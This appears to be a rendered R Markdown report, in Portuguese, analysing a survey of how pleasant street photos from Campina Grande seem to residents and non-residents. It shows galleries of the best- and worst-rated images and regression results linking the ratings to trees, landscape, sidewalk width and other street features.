</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_210_45' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_45 6.067538
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_210_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_225 5.964036
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_210_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_135 5.889755
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_210_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_315 5.795419
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Inácio_Marquês_da_Silva_199_112' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_199_112 5.784873
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_160_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_160_135 5.734743
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_105_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_105_135 5.677785
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_105_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_105_225 5.633933
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/R._Cristina_Procópio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.623546
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhores/intersects/Av._Mal._Floriano_Peixoto_580_203' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_580_203 5.568409
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/piores/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Inácio_Marquês_da_Silva_2_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_2_22 3.580624
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_222_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_135 3.579581
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_370_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_315 3.573322
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Inácio_Marquês_da_Silva_2_293' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_2_293 3.570865
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_300_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_22 3.569044
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_392_225' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_225 3.553466
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_300_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_135 3.38245
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Manoel_Pereira_de_Araújo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.37482
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Cristina_Procópio_Silva_350_203' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_350_203 3.178503
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piores/intersects/R._Cristina_Procópio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 3.030011
</div>
</div>
</div>
<h3>
Top ../percepcaoLocal/agradavel/melhorescampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_210_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_315 6.386912
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_210_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_225 6.243907
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_210_45' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_45 6.141103
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_210_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_135 6.078009
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_105_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_105_135 5.947858
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Inácio_Marquês_da_Silva_199_112' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_199_112 5.893648
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.892938
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_160_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_160_135 5.890058
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Inácio_Marquês_da_Silva_120_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_120_22 5.781339
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhorescampina/intersects/R._Cristina_Procópio_Silva_160_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_160_225 5.701908
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/piorescampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_188_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_22 3.472993
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_222_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_135 3.472119
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Inácio_Marquês_da_Silva_2_22' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_2_22 3.396353
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Inácio_Marquês_da_Silva_2_293' width='400px'>
<div class="caption">
R._Inácio_Marquês_da_Silva_2_293 3.33598
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.309346
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_188_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_203 3.228093
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Cristina_Procópio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 3.201446
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_370_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_315 3.160847
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Cristina_Procópio_Silva_350_203' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_350_203 2.946601
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/piorescampina/intersects/R._Manoel_Pereira_de_Araújo_300_135' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_135 2.868823
</div>
</div>
</div>
<h3>
Top ../percepcaoLocal/agradavel/melhoresnotcampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_210_45' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_45 6.268105
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_160_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_160_135 6.2343
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_105_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_105_225 6.171822
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_210_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_135 6.110933
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_210_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_210_225 6.043878
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_105_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_105_135 6.036599
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_436_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_436_135 5.88633
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_66_225' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_66_225 5.87361
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/Av._Mal._Floriano_Peixoto_580_203' width='400px'>
<div class="caption">
Av._Mal._Floriano_Peixoto_580_203 5.854218
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/melhoresnotcampina/intersects/R._Cristina_Procópio_Silva_261_315' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_261_315 5.814897
</div>
</div>
</div>
<h3>
Bottom ../percepcaoLocal/agradavel/pioresnotcampina/intersects/
</h3>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_222_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_203 3.386159
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_300_203' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_203 3.38152
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_188_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_188_315 3.371822
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_222_315' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_315 3.365577
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_392_225' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_392_225 3.348615
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_300_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_300_22 3.277662
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_222_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_222_22 3.262684
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Manoel_Pereira_de_Araújo_370_22' width='400px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo_370_22 3.105447
</div>
</div>
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Cristina_Procópio_Silva_350_203' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_350_203 2.977727
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='../percepcaoLocal/agradavel/pioresnotcampina/intersects/R._Cristina_Procópio_Silva_305_135' width='400px'>
<div class="caption">
R._Cristina_Procópio_Silva_305_135 2.847389
</div>
</div>
</div>
<p>Top diff 4 Tail diff 7</p>
<p>Qualitativamente analisando estas imagens, conforme esperado, percebe-se que <strong>vegetação, melhor estado de manutenção e a rua mais larga</strong> conduziram a melhores avaliações das imagens. O <strong>céu</strong> também foi um fator apontado em 4 das 10 fotos e que não foi computado em nossas avaliações anteriores. É importante destacar que a Cristina Procópio (tipicamente residencial) teve 5 dos 10 melhores, a Floriano Peixoto (comercial) teve 4 locais e a Edésio Silva 1 local (tipicamente residencial).</p>
<p>Para as imagens com pior avaliação, <strong>a presença de itens na rua (barracas mal cuidadas, itens velhos, itens de venda, lixo, etc.) juntamente com prédios mal cuidados geraram maior desconforto</strong>. É importante destacar que os 9 dos 10 locais com pior avaliação se localizam na Manoel Araújo, uma rua de comércio antiga e pouco cuidada no centro da cidade.</p>
<p>Alguns pontos a se questionar olhando todas as marcações:</p>
<ul>
<li>Algumas imagens da Manoel Pereira de Araújo e outros locais degradados foram marcados como melhores, apresentando poucos votos 1, 2 a 5 pessoas -> confusão na questão, preferência mesmo (algumas marcações no céu azul, prédios conservados)?</li>
<li>Algumas imagens da Floriano, Maciel e Museu marcadas como piores -> confusão, preferência (carros, estilos de lojas)?</li>
</ul>
<p>Realizando a análise da regressão dos QScores frente: # de árvores, nota de landscape, largura de rua, largura de calçada e número de prédios com identificadores</p>
<pre><code>## Loading required package: sp</code></pre>
<pre><code>## Loading required package: Matrix</code></pre>
<pre><code>##
## Attaching package: 'Matrix'</code></pre>
<pre><code>## The following object is masked from 'package:reshape':
##
## expand</code></pre>
<pre><code>## Loading required package: spData</code></pre>
<pre><code>## To access larger datasets in this package, install the spDataLarge
## package with: `install.packages('spDataLarge',
## repos='https://nowosad.github.io/drat/', type='source'))`</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-1.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-2.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-3.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-4.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-5.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-6.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-7.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-8.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-8-9.png" width="672" /></p>
<p>Realizando a mesma regressão acima para moradores e não moradores de forma separada, percebe-se:</p>
<ol style="list-style-type: decimal">
<li>Sidewalk width mais significativo e influente para moradores (média);</li>
<li>Landscape igualmente significativo nos 3, mais influente para moradores (média);</li>
<li>Trees mais significativo no geral e não moradores e mais influente para eles (média);</li>
<li>Builds ids igualmente significativo nos 3, mais influente para não moradores (média);</li>
<li>Os ICs apontam similaridade entre todos os coeficientes dos 3 grupos;</li>
<li>R2 parecidos</li>
</ol>
<pre><code>##
## \begin{table}
## \begin{center}
## \begin{tabular}{l c c c }
## \hline
## & Model 1 & Model 2 & Model 3 \\
## \hline
## (Intercept) & $-25.782^{*}$ & $-31.623^{**}$ & $-19.245$ \\
## & $(11.008)$ & $(11.251)$ & $(11.749)$ \\
## street\_wid & $-0.344$ & $-0.255$ & $-0.157$ \\
## & $(0.273)$ & $(0.279)$ & $(0.291)$ \\
## sidewalk\_wid & $3.870^{**}$ & $3.976^{**}$ & $3.767^{*}$ \\
## & $(1.361)$ & $(1.391)$ & $(1.453)$ \\
## landscape & $26.309^{***}$ & $27.514^{***}$ & $22.810^{***}$ \\
## & $(2.686)$ & $(2.745)$ & $(2.866)$ \\
## trees & $3.513^{***}$ & $2.694^{*}$ & $4.094^{***}$ \\
## & $(1.030)$ & $(1.053)$ & $(1.099)$ \\
## build\_ident & $-9.291^{***}$ & $-9.565^{***}$ & $-8.569^{**}$ \\
## & $(2.765)$ & $(2.826)$ & $(2.952)$ \\
## cyclists & $-7.636$ & $-4.472$ & $-7.255$ \\
## & $(7.038)$ & $(7.193)$ & $(7.511)$ \\
## mov\_cars & $-0.575$ & $-1.670$ & $-0.801$ \\
## & $(1.496)$ & $(1.529)$ & $(1.596)$ \\
## people & $0.664$ & $0.578$ & $0.298$ \\
## & $(0.665)$ & $(0.679)$ & $(0.709)$ \\
## park\_cars & $-1.431$ & $-0.391$ & $-1.656$ \\
## & $(1.123)$ & $(1.148)$ & $(1.199)$ \\
## \hline
## R$^2$ & 0.671 & 0.657 & 0.625 \\
## Adj. R$^2$ & 0.651 & 0.636 & 0.603 \\
## Num. obs. & 160 & 160 & 160 \\
## RMSE & 27.354 & 27.957 & 29.195 \\
## \hline
## \multicolumn{4}{l}{\scriptsize{$^{***}p<0.001$, $^{**}p<0.01$, $^*p<0.05$, $^{\cdot}p<0.1$}}
## \end{tabular}
## \caption{Statistical models}
## \label{table:coefficients}
## \end{center}
## \end{table}</code></pre>
<pre><code>## [1] ">>>>>> IC Geral x Campina x Not Moradores"</code></pre>
<pre><code>## 2.5 % 97.5 % 2.5 % 97.5 % 2.5 %
## (Intercept) -47.5325347 -4.0319416 -53.8533746 -9.3933620 -42.4595795
## street_wid -0.8837412 0.1951244 -0.8067896 0.2958708 -0.7324625
## sidewalk_wid 1.1804381 6.5594317 1.2274431 6.7250721 0.8966708
## landscape 21.0028923 31.6156293 22.0910021 32.9378063 17.1464011
## trees 1.4777369 5.5486651 0.6140221 4.7747359 1.9215652
## build_ident -14.7555143 -3.8269799 -15.1496647 -3.9800980 -14.4013742
## cyclists -21.5413817 6.2699411 -18.6848026 9.7399078 -22.0966219
## mov_cars -3.5308644 2.3802290 -4.6904824 1.3509819 -3.9559744
## people -0.6494810 1.9768885 -0.7646318 1.9196631 -1.1034393
## park_cars -3.6506647 0.7891264 -2.6593847 1.8783274 -4.0256052
## 97.5 %
## (Intercept) 3.9694229
## street_wid 0.4190311
## sidewalk_wid 6.6377720
## landscape 28.4735752
## trees 6.2665435
## build_ident -2.7371436
## cyclists 7.5869267
## mov_cars 2.3530468
## people 1.6997343
## park_cars 0.7130675</code></pre>
<pre><code>## Loading required package: gmodels</code></pre>
<pre><code>## Loading required package: vcd</code></pre>
<pre><code>## Loading required package: lme4</code></pre>
<pre><code>##
## Attaching package: 'nlme'</code></pre>
<pre><code>## The following object is masked from 'package:lme4':
##
## lmList</code></pre>
<pre><code>## The following object is masked from 'package:dplyr':
##
## collapse</code></pre>
<pre><code>## Loading required package: lattice</code></pre>
<pre><code>## Classes and Methods for R developed in the
## Political Science Computational Laboratory
## Department of Political Science
## Stanford University
## <NAME>
## hurdle and zeroinfl functions by <NAME></code></pre>
<pre><code>## Loading required package: carData</code></pre>
<pre><code>##
## Attaching package: 'car'</code></pre>
<pre><code>## The following object is masked from 'package:dplyr':
##
## recode</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ 1, family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -1.177 -1.177 0.000 1.177 1.177
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01091 0 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 46596 on 33611 degrees of freedom
## Residual deviance: 46596 on 33611 degrees of freedom
## AIC: 46598
##
## Number of Fisher Scoring iterations: 2</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ 1 + (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 46600.1 46617.0 -23298.1 46596.1 33610
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -1 -1 0 1 1
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 33612, groups: userID, 561
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01091 0 1</code></pre>
<pre><code>## 'log Lik.' 46596.13 (df=1)</code></pre>
<pre><code>## 'log Lik.' 46596.13 (df=2)</code></pre>
<pre><code>## Analysis of Deviance Table
##
## Model: binomial, link: logit
##
## Response: choice
##
## Terms added sequentially (first to last)
##
##
## Df Deviance Resid. Df Resid. Dev
## NULL 33611 46596</code></pre>
<pre><code>## [1] "Logistic model not scaled - with user being or not from campina"</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ d_swidth + d_sidewalk + d_trees + d_lands +
## d_bid + d_people + d_mvciclyst + d_mvcars + d_pcars + bair_cat +
## city:(d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## d_people + d_mvciclyst + d_mvcars + d_pcars), family = binomial(),
## data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -2.56250 -0.97553 0.00249 0.99302 2.86165
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.188117 0.019363 -9.715 < 2e-16 ***
## d_swidth -0.001865 0.001513 -1.233 0.2177
## d_sidewalk 0.123384 0.007559 16.323 < 2e-16 ***
## d_trees 0.034992 0.006310 5.545 2.93e-08 ***
## d_lands 0.496798 0.015938 31.170 < 2e-16 ***
## d_bid -0.082727 0.014429 -5.733 9.84e-09 ***
## d_people 0.036801 0.003846 9.568 < 2e-16 ***
## d_mvciclyst -0.095874 0.035096 -2.732 0.0063 **
## d_mvcars 0.006989 0.008521 0.820 0.4121
## d_pcars -0.002358 0.006097 -0.387 0.6990
## bair_catcatole_centro 0.889163 0.047743 18.624 < 2e-16 ***
## bair_catcatole_liberdade 0.416500 0.049803 8.363 < 2e-16 ***
## bair_catcentro_catole -0.567548 0.049469 -11.473 < 2e-16 ***
## bair_catcentro_liberdade -0.405710 0.060140 -6.746 1.52e-11 ***
## bair_catliberdade_catole 0.032615 0.054829 0.595 0.5519
## bair_catliberdade_centro 0.539678 0.060930 8.857 < 2e-16 ***
## d_swidth:citynotcampina -0.003141 0.002176 -1.443 0.1489
## d_sidewalk:citynotcampina -0.005514 0.011246 -0.490 0.6239
## d_trees:citynotcampina 0.038577 0.009461 4.077 4.55e-05 ***
## d_lands:citynotcampina -0.102126 0.023160 -4.410 1.04e-05 ***
## d_bid:citynotcampina -0.017414 0.021099 -0.825 0.4092
## d_people:citynotcampina -0.001340 0.005172 -0.259 0.7956
## d_mvciclyst:citynotcampina -0.012449 0.051543 -0.242 0.8091
## d_mvcars:citynotcampina -0.007500 0.011607 -0.646 0.5182
## d_pcars:citynotcampina -0.035913 0.008972 -4.003 6.26e-05 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 46596 on 33611 degrees of freedom
## Residual deviance: 39207 on 33587 degrees of freedom
## AIC: 39257
##
## Number of Fisher Scoring iterations: 4</code></pre>
<pre><code>## [1] "Logistic model not scaled - without user being or not from campina"</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ d_swidth + d_sidewalk + d_trees + d_lands +
## d_bid + d_people + d_mvciclyst + d_mvcars + d_pcars + bair_cat,
## family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -2.60701 -0.97808 0.00221 0.99814 2.85930
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.185541 0.019331 -9.598 < 2e-16 ***
## d_swidth -0.003191 0.001164 -2.743 0.00609 **
## d_sidewalk 0.120565 0.005653 21.329 < 2e-16 ***
## d_trees 0.051774 0.004748 10.904 < 2e-16 ***
## d_lands 0.450312 0.011895 37.857 < 2e-16 ***
## d_bid -0.089468 0.010984 -8.145 3.79e-16 ***
## d_people 0.035748 0.002987 11.967 < 2e-16 ***
## d_mvciclyst -0.101943 0.025861 -3.942 8.08e-05 ***
## d_mvcars 0.003261 0.006533 0.499 0.61762
## d_pcars -0.018569 0.004481 -4.143 3.42e-05 ***
## bair_catcatole_centro 0.885036 0.047638 18.578 < 2e-16 ***
## bair_catcatole_liberdade 0.413453 0.049714 8.317 < 2e-16 ***
## bair_catcentro_catole -0.561923 0.049327 -11.392 < 2e-16 ***
## bair_catcentro_liberdade -0.402972 0.059986 -6.718 1.84e-11 ***
## bair_catliberdade_catole 0.030475 0.054759 0.557 0.57785
## bair_catliberdade_centro 0.546813 0.060837 8.988 < 2e-16 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 46596 on 33611 degrees of freedom
## Residual deviance: 39321 on 33596 degrees of freedom
## AIC: 39353
##
## Number of Fisher Scoring iterations: 4</code></pre>
<pre><code>## 'log Lik.' 39321.26 (df=16)</code></pre>
<pre><code>## 'log Lik.' 39206.51 (df=25)</code></pre>
<pre><code>## [1] "Comparing deviance of models and chi-square values from table"</code></pre>
<pre><code>## 'log Lik.' 114.7502 (df=25)</code></pre>
<pre><code>## [1] 16.91898</code></pre>
<pre><code>## [1] 21.66599</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ 1, family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -1.177 -1.177 0.000 1.177 1.177
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01091 0 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 46596 on 33611 degrees of freedom
## Residual deviance: 46596 on 33611 degrees of freedom
## AIC: 46598
##
## Number of Fisher Scoring iterations: 2</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ 1 + (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 46600.1 46617.0 -23298.1 46596.1 33610
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -1 -1 0 1 1
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 33612, groups: userID, 561
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01091 0 1</code></pre>
<pre><code>## 'log Lik.' 46596.13 (df=1)</code></pre>
<pre><code>## 'log Lik.' 46596.13 (df=2)</code></pre>
<pre><code>## [1] "Random Effects scaled"</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## d_people + d_mvciclyst + d_mvcars + d_pcars + bair_cat +
## city:(d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## d_people + d_mvciclyst + d_mvcars + d_pcars + bair_cat) +
## (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 39246.5 39516.0 -19591.3 39182.5 33580
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -5.2990 -0.7791 -0.0006 0.7975 7.6997
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 33612, groups: userID, 561
##
## Fixed effects:
## Estimate Std. Error z value
## (Intercept) -0.1184167 0.0192271 -6.159
## d_swidth -0.0179093 0.0219394 -0.816
## d_sidewalk 0.3409114 0.0207749 16.410
## d_trees 0.1282197 0.0243070 5.275
## d_lands 0.7425576 0.0240841 30.832
## d_bid -0.1487895 0.0258828 -5.749
## d_people 0.2548503 0.0281797 9.044
